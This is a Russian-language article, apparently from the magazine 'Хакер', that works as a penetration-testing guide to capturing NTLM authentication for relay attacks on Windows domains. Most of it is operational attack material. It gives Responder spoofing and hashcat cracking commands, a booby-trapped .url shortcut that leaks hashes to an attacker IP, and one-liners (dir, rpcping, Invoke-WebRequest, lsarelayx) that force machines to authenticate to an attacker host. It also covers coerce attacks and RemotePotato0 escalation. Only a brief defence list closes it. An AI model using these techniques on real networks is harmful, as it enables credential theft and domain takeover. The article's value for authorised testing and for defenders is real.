Хакер - Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки
hacker_frei
DrieVlad
Содержание статьи
- Теория
- Захват с Responder
- Захват NTLM-аутентификации для Relay-атак
- SMB (445/TCP)
- Coerce-атаки
- Ярлыки
- RPC (135/TCP)
- SweetPotato
- Триггерим вручную
- Пример получения аутентификации на DCE RPC
- HTTP (80/TCP)
- Coerce-атаки
- PrivExchange
- Триггерим вручную
- RemotePotato0
- WCF (9389/TCP)
- Триггерим вручную
- RAW (произвольный TCP)
- Как получить NTLM-аутентификацию, если мешает NAT или МЭ
- Бонус № 1
- Бонус № 2
- Защита
- Выводы
Почему мы до сих пор встречаем NTLM-аутентификацию во многих инфраструктурах? Потому что Windows не может существовать без нее. Но у NTLM-аутентификации есть целый ряд проблем, которыми пользуются злоумышленники. Одна из них — это возможность Relay-атак. В этой статье мы обсудим способы захвата аутентификации для проведения Relay-атаки.
ТЕОРИЯ
NTLM — это протокол проверки подлинности в сетях Windows NT. На самом деле он перекочевал и в другие домены, например ALD или FreeIPA. Чтобы не закапываться глубоко в теорию, постараюсь объяснить принцип его работы на простой схеме.

- Клиент инициирует процесс прохождения аутентификации специальным сообщением.
- Сервер отправляет некоторое случайное значение клиенту.
- Клиент шифрует случайное значение своим секретом и отправляет на проверку серверу.
В простом случае все понятно: есть клиент, есть сервер, клиент проходит аутентификацию по протоколу NTLM. Добавим остроты в нашу схему: теперь у нас появляется некий атакующий.

Из схемы мы понимаем, что атакующий на своей рабочей станции сразу разворачивает и сервер, и клиент для взаимодействия по протоколу NTLM. Для улучшения восприятия поясним, что происходит на схеме.
- Клиент (жертва) отправляет сообщение о начале NTLM-аутентификации — NEGOTIATE. Атакующий перехватывает это сообщение с помощью своего сервера.
- Атакующий отправляет со своего клиента сообщение о начале NTLM-аутентификации — NEGOTIATE на целевой сервер.
- С целевого сервера атакующему приходит сообщение со случайным значением — CHALLENGE.
- Атакующий отправляет сообщение с таким же CHALLENGE, как на третьем шаге, жертве.
- Жертва шифрует CHALLENGE своим NTLM-хешем и отправляет серверу.
- Атакующий перехватывает ответ жертвы и пересылает его серверу. Атакующий успешно проходит аутентификацию на целевом сервере.
Схема в целом понятна, но при проведении атаки бывают нюансы, про которые нужно знать. Во‑первых, NTLM не существует в вакууме, ее используют различные протоколы, такие как SMB, LDAP или RPC. Во‑вторых, при прохождении аутентификации могут использоваться разные хеши: NetNTLMv1 и NetNTLMv2. Эти хеши имеют свои особенности, от которых может зависеть результат проведения атаки.
Существует две версии протокола: NTLMv1 и NTLMv2. В NTLMv1 используется хеш NetNTLMv1, и он безнадежно устарел:
- Из случайностей там только CHALLENGE, который присылает сервер. Значит, при подделке сервера можно подделать и CHALLENGE и, соответственно, подготовить радужные таблицы.
- Также существуют методы восстановления из хеша NetNTLMv1 хеша NT. Подробнее об этом можно почитать на сайте Crack.SH.
- Отсутствует проверка целостности сообщения (MIC — message integrity code), которая защищает от Relay-атак с одного протокола на другой.
Как можно догадаться, в NTLMv2 используется хеш NetNTLMv2. В нем разработчики постарались решить все проблемы протокола NTLMv1. Действительно, можно сказать, что обратить этот хеш за разумное время хотя бы до NT пока не представляется возможным. Подготовить радужные таблицы не получится, потому что к CHALLENGE добавилась метка времени. А вот с Relay-атаками не все так однозначно, но об этом мы поговорим в другой раз.
В этой статье будут рассмотрены некоторые варианты захвата NTLM-аутентификации для реализации Relay-атак. В следующей мы обсудим непосредственно Relay-атаки.
Самое простое, что можно сделать с полученным NetNTLM-хешем любой версии, — это подобрать пароль по словарю. Например, так:
hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)
hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2)
ЗАХВАТ С RESPONDER
Один из самых простых способов получить NTLM-аутентификацию — спуфинг с помощью Responder (этот инструмент можно найти в Kali).
INFO
Можно запустить NetBIOS spoofing с помощью Responder и полученную аутентификацию использовать для Relay-атаки. Для этого нужно просто отключить в конфиге сервера Responder SMB, HTTP и DCE RPC, чтобы не возникло конфликта с ntlmrelayx. После этого запустить Responder и ntlmrelayx.
Уверен, что многие уже использовали этот инструмент для захвата хешей, поэтому кратко пробежимся по основным функциям. Responder предоставляет пользователю набор серверов для захвата и обработки аутентификаций.

Захват хеша с Responder выглядит примерно следующим образом.

Этот формат пригоден для брута с помощью hashcat. Все захваченные хеши Responder складывает в базу SQLite, расположенную по пути /usr/share/responder/Responder.db. Открыть базу можно следующей командой:
sqlitebrowser /usr/share/responder/Responder.db

Файл конфигурации Responder находится здесь: /etc/responder/Responder.conf. Эта информация может пригодиться, если надо будет выключить или включить определенный сервер. На скрине ниже изображен файл конфигураций Responder.conf.

Responder незаменим для реализации спуфинг‑атак в сетях на основе Windows. Предпосылкой для выполнения атаки типа NetBIOS Spoofing служит наличие в сети широковещательного трафика типа NBNS, LLMNR и mDNS. Трафик в сети можно прослушивать с помощью Wireshark, применяя фильтр NBNS.

Вместо визуального анализа трафика можем просто запустить Responder в режиме анализа следующей командой:
responder -I eth0 -A
После запуска получаем примерно такую картину, можем пробовать спуфинг.

Спуфинг‑атаки для захвата аутентификации можно выполнять следующей командой:
responder -I eth0 -dwF
Если атака удалась, переходим к следующим шагам.

ЗАХВАТ NTLM-АУТЕНТИФИКАЦИИ ДЛЯ RELAY-АТАК
Для выполнения Relay-атак удобнее всего использовать ntlmrelayx из пакета impacket. В этом инструменте реализованы часто встречающиеся протоколы, с которых можно захватить NTLM-аутентификацию. Вообще, ntlmrelayx имеет клиент‑серверную модель, и в этой статье мы как раз обсудим все RelayServers, реализованные в нем, и даже добавим новый, которого еще нет в основной ветке.
INFO
Стоит сразу отметить, что порты, которые прослушивают серверы RelayServer ntlmrelayx, можно сменить. Это может пригодиться при реализации сложных атак.
SMB (445/TCP)
Протокол SMB с точки зрения Relay-атак наиболее изученный и популярный, поэтому и способов захвата аутентификации с SMB больше всего. Вот несколько вариантов того, как это можно сделать:
- Провести coerce-атаку (принуждение к аутентификации):анонимно — с помощью PetitPotam (CVE-2021-36942);
- с учетной записью.
- Использовать ярлыки на шарах с доступом на запись:анонимно;
- с учетной записью.
- Стриггерить вручную.
- Провести MITM-атаку.
Coerce-атаки
С coerce-атаками мы сейчас подробно разбираться не будем. Стоит упомянуть, что если у нас есть учетная запись, то coerce уже не уязвимость, а особенность архитектуры.
Принуждать можно любым удобным скриптом, например Coercer.py — на сегодняшний день он поддерживает почти все известные методы принуждения, в том числе без учетной записи.
INFO
Coerce-атаки можно выполнять не только с 445-го порта, но и с 139, 135 и 4915-го портов. Подробнее об этом, а также о методах защиты от этих атак читай на «Хабре».
Пример использования Coercer.py показан на рисунке ниже.

В результате принуждения мы получаем NTLM-аутентификацию.

Важно отметить, что в результате выполнения такой атаки мы получаем именно машинную учетную запись, это необходимо помнить при планировании Relay-атак.
Ярлыки
Техники с ярлычками довольно старые и действенные, называются они slinky и scuffy. Если в сети присутствуют папки, открытые на запись, обязательно нужно положить в них ярлычки, которые будут ссылаться на IP-адрес атакующего. Как только пользователь откроет сетевую папку с нашим ярлыком, нам прилетит NTLM-аутентификация на SMB. Реализовать атаку можно несколькими способами:
- при помощи утилиты PyLnk 3 (есть в Kali);
- при помощи CrackMapExec (тоже есть в Kali);
- вручную.
Для эксперимента выберем третий вариант и будем использовать технику, которая немного отличается от slinky и scuffy. Содержимое файла с расширением .url будет примерно следующим:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<attacker IP>\%USERNAME%.icon
IconIndex=1
Положили ярлык в сетевую папку, перешли в нее и получили NTLM-аутентификацию, как показано на следующих рисунках.
Переходим в сетевую папку, где расположен ярлык.

Сразу же прилетает NTLM-аутентификация.

В примере хеш захвачен с помощью Responder, на практике же можно запустить ntlmrelayx и выполнить Relay-атаку.
Триггерим вручную
Если сложилась ситуация, когда мы можем выполнять код на доменной машине, например сбрутился PostgreSQL и из него нам удалось выполнить код, можно попробовать стриггерить аутентификацию по SMB простой командой в cmd:
dir \\<attacker IP >\a
MITM
Существует целый ряд атак, которые могут позволить атакующему оказаться в положении посередине между клиентом и сервером, например ARP spoofing, DHCPv6 spoofing или NetBIOS spoofing (вспоминаем про Responder). Любая из этих техник может позволить захватить NTLM-аутентификацию и даже больше. Но они могут оказаться разрушительными для сети, поэтому, когда можно обойтись без них, лучше так и делать.
Про MITM-атаки в следующих разделах мы отдельно говорить не будем, потому что смысл примерно тот же.
RPC (135/TCP)
В репозитории на GitHub готов к использованию RPCRelayServer. Пока что скрипт не добавлен в основную ветку impacket, но мне кажется, это вопрос времени. Те, кто хочет попробовать, уже сейчас могут самостоятельно обновиться. После добавления необходимых скриптов и компонентов в ntlmrelayx мы будем принимать аутентификацию на порт 135/TCP.
Получить NTLM-аутентификацию на 135-й порт можно несколькими способами:
- воспользоваться SweetPotato;
- стриггерить вручную;
- провести MITM-атаку.
SweetPotato
Про SweetPotato и его эксплуатацию лучше читать статью «Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0». Но в целом концепция такая же, как у PetitPotam: мы получим аутентификацию от имени машины только на 135-й порт
Триггерим вручную
Если у нас есть возможность удаленно выполнить код на доменной машине или просто для экспериментов, можно стриггерить обращение на DCE RPC следующим способом:
rpcping /s <attacker IP> /e 135 /a privacy /u NTLM
Пример получения аутентификации на DCE RPC
Получаем аутентификацию и делаем Relay на SMB.

Получаем доступ к сетевым папкам.
HTTP (80/TCP)
Получить NTLM-аутентификацию на HTTP можно несколькими способами:
- применить сoerce-атаки, если на хосте включен WebDav;
- использовать PrivExchange;
- стриггерить вручную;
- проэксплуатировать RemotePotato0;
- провести MITM-атаку.
Coerce-атаки
С coerce-атаками на HTTP все аналогично SMB, разница только в том, что для принуждения на HTTP нужно, чтобы на машине (которую мы принуждаем) был включен WebDav.
INFO
Если WebDav выключен, можно попробовать включить его с помощью ярлычка. Подробнее об этой технике читай на The Hacker.
Также атакующему нужна собственная DNS-запись в обследуемом домене. Если WebDav включен, то нам остается только принудить машину, используя Coercer.py или любой другой скрипт, например с помощью PetitPotam.
Принуждаем машину пройти аутентификацию на HTTP.

Проверить, включен ли WebDav, можно с помощью команды
crackmapexec smb <target IP> -u <user> -p <password> -M webdav

PrivExchange
Техника принуждения Exchange, которая называется PrivExchange, основана на уязвимостях CVE-2019-0686 и CVE-2019-0724. О ее использовании лучше прочитать статью Abusing Exchange: One API call away from Domain Admin.
Триггерим вручную
Если у нас есть возможность удаленно выполнить код на доменной машине, можно стриггерить обращение на HTTP, используя Basic auth. Команда выглядит так:
powershell -c "Invoke-WebRequest -Uri http://<attacker IP>/ -UseDefaultCredentials".
RemotePotato0
При повышении привилегий с помощью техники RemotePotato0 на определенном этапе нам достается аутентификация с HTTP, которой мы можем воспользоваться для Relay-атаки. Особенностью атаки является правильный выбор CLSID, подробнее лучше читать в статье «Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0».
На машине, к которой у нас есть RDP-доступ, запускаем эксплоит RemotePotato0.exe.

На машине атакующего запускаем ntlmrelayx. Получаем сертификат от имени администратора домена.

INFO
Чтобы посмотреть ID сессии для атаки, используй команду query user.
WCF (9389/TCP)
Один из необычных вариантов получения NTLM-аутентификации — протокол WCF (Windows Communication Foundation). Что это такое и с чем его едят, можно узнать на сайте Microsoft. В качестве спойлера скажу только, что модуль Active Directory для PowerShell построен на протоколе WCF.
Нам же скорее интересно, как его использовать при Relay-атаках. Первое исследование в 2020 году провел @cnotin и подарил миру WCFRelayServer для ntlmrelayx.
Получить аутентификацию на WCF можно следующими способами:
- стриггерить вручную;
- провести MITM-атаку.
Триггерим вручную
Если у нас есть возможность удаленно выполнить код на доменной машине, можно стриггерить обращение на WCF 9389/TCP, используя NetNTLM. Способ выглядит следующим образом:
powershell -c "get-aduser -filter * -server IP"

Такая аутентификация может неожиданно встретиться на очередном пентесте, например при проведении атаки ARP spoofing в сегменте сети, в котором находятся администраторы.
RAW (ПРОИЗВОЛЬНЫЙ TCP)
Этот протокол и техника в целом стали лично для меня большим открытием при написании статьи. Пока что есть вариант получить аутентификацию на RAWRelayServer только с использованием lsarelayx.
Вариант использования предлагается достаточно простой — запускаем lsarelayx на захваченной Windows-машине, начинаем принуждать пройти аутентификацию на ней все целевые хосты или просто сидим и ждем, пока на нее не зайдет какой‑нибудь привилегированный пользователь. При получении аутентификации lsarelayx перехватывает ее и пересылает на нашу машину. Получается в каком‑то роде закладка.
Работать все будет примерно по следующей схеме.

При проведении экспериментов с lsarelayx приходим к выводу, что все Relay-атаки работают в соответствии с тем, с какого протокола была получена аутентификация, а RAW становится лишь промежуточным звеном в цепочке Relay-атаки.
Для запуска lsarelayx используется следующая команда:
lsarelayx.exe --host <attacker IP>
Итак, на захваченной машине запустили lsarelayx.

На нашей машине получили аутентификацию с lsarelayx на RAWRelayServer и переслали ее на SMB.

В результате получаем профит в зависимости от привилегий, полученной аутентификации.

В заключение разговора про этот сервер хотелось бы добавить, что «Защитник Windows» сразу же обнаруживает и удаляет lsarelayx, поэтому для его запуска, вероятно, придется потрудиться.
КАК ПОЛУЧИТЬ NTLM-АУТЕНТИФИКАЦИЮ, ЕСЛИ МЕШАЕТ NAT ИЛИ МЭ
Осуществить Relay не выйдет, если недоступны сетевые соединения до машины атакующего. Препятствовать соединению может NAT или МЭ. Возможных вариантов решения этой проблемы видится несколько:
- В такой ситуации надо искать машину с Linux, до которой смогут дойти подключения, почти всегда это удается сделать.
- Хорошим вариантом будет развернуть виртуальную машину с Linux на узле с Windows. Как это сделать, рассказывает статья «Пингвин‑супершпион. Используем виртуалку с Linux для постэксплуатации Windows».
- Если все‑таки не получилось или поджимают сроки, можно рассмотреть вариант запуска ntlmrelayx на сервере с белым IP-адресом, но надо учитывать риски — аутентификация пойдет через интернет в открытом виде.
БОНУС № 1
При принуждении на HTTP кажется, что с WebDav все понятно: он либо есть, либо нет, а с DNS-записью все не так однозначно. Если у нашей машины нет DNS-записи, всегда можно попробовать поискать хост, на котором она будет. А там уже не важно, Windows это или Linux, с помощью socat мы сможем пробросить себе 80-й порт и получать заветные аутентификации. На схеме это будет выглядеть примерно следующим образом.

Запускаем socat для проброса 80-го порта с машины с DNS-записью на хост атакующего.

Запускаем ntlmrelayx на машине атакующего.

Принуждаем машину пройти NTLM-аутентификацию на хосте, где запущен socat. На схеме это work2.

Машина work2 пытается пройти аутентификацию на work3 и попадает на хост атакующего.

БОНУС № 2
Периодически приходится сталкиваться с тем, что та или иная система пытается пройти аутентификацию по NTLM с помощью доменной учетки. Так любят делать антивирусы, DLP-системы и бэкап‑системы.
Заметить это довольно просто: запускаем Responder в режиме анализа на достаточно продолжительное время и смотрим, пытался ли кто‑то пройти аутентификацию.
После того как удалось подтвердить, что в домен периодически кто‑то стучится, можно запустить ntlmrelayx и сидеть ждать, когда в следующий раз учетка попытается пройти аутентификацию на нашем узле. При правильном выборе места, куда делать Relay, можно закрепиться в домене, а потом и поднять привилегии до админа.
Этот пример плавно подводит нас к теме следующей статьи — NTLM Relay. В ней мы постараемся разобраться, что это такое, как делать и какой профит можно получить.
ЗАЩИТА
В качестве защиты можно посоветовать следующее:
- Регулярно устанавливать обновления безопасности.
- Не допускать появления сетевых папок с анонимным доступом на запись.
- Отказаться от использования NetBIOS.
- Отключить IPv6, если он не нужен.
- Применить смягчающие меры по защите от coerce-атак.
ВЫВОДЫ
Уверен, что в статье перечислены не все возможные способы получить NTLM-аутентификацию. Если у тебя возникли мысли, идеи или уже был опыт использования альтернативных способов, буду рад обратной связи.
Главный вывод, который можно сделать, — способы получения NTLM-аутентификации для последующего выполнения Relay-атаки ограничены только фантазией атакующего.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei